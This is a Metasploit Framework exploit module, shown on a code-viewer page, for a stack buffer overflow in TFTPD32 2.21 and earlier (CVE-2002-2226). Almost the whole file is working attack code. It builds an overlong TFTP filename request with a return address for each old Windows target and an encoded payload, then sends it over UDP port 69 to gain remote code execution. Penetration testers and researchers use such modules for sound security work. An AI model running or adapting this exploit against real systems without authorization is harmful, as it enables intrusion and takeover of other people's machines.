Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/tftp/tftpd32_long_filename.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'TFTPD32 Long Filename Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in TFTPD32 version 2.21
18
and prior. By sending a request for an overly long file name
19
to the tftpd32 server, a remote attacker could overflow a buffer and
20
execute arbitrary code on the system.
21
},
22
'Author' => 'MC',
23
'References' => [
24
['CVE', '2002-2226'],
25
['OSVDB', '45903'],
26
['BID', '6199'],
27
],
28
'DefaultOptions' => {
29
'EXITFUNC' => 'process',
30
},
31
'Payload' => {
32
'Space' => 250,
33
'BadChars' => "\x00",
34
'StackAdjustment' => -3500,
35
},
36
'Platform' => 'win',
37
'Targets' => [
38
['Windows NT 4.0 SP6a English', { 'Ret' => 0x77f9d463 } ],
39
['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],
40
['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 } ],
41
['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
42
],
43
'Privileged' => true,
44
'DisclosureDate' => '2002-11-19',
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
Opt::RPORT(69)
56
], self
57
)
58
end
59
60
def exploit
61
connect_udp
62
63
print_status("Trying target #{target.name}...")
64
65
sploit =
66
"\x00\x01" +
67
rand_text_english(120, payload_badchars) +
68
"." +
69
rand_text_english(135, payload_badchars) +
70
[target.ret].pack('V') +
71
payload.encoded +
72
"\x00"
73
74
udp_sock.put(sploit)
75
76
disconnect_udp
77
end
78
end
79
80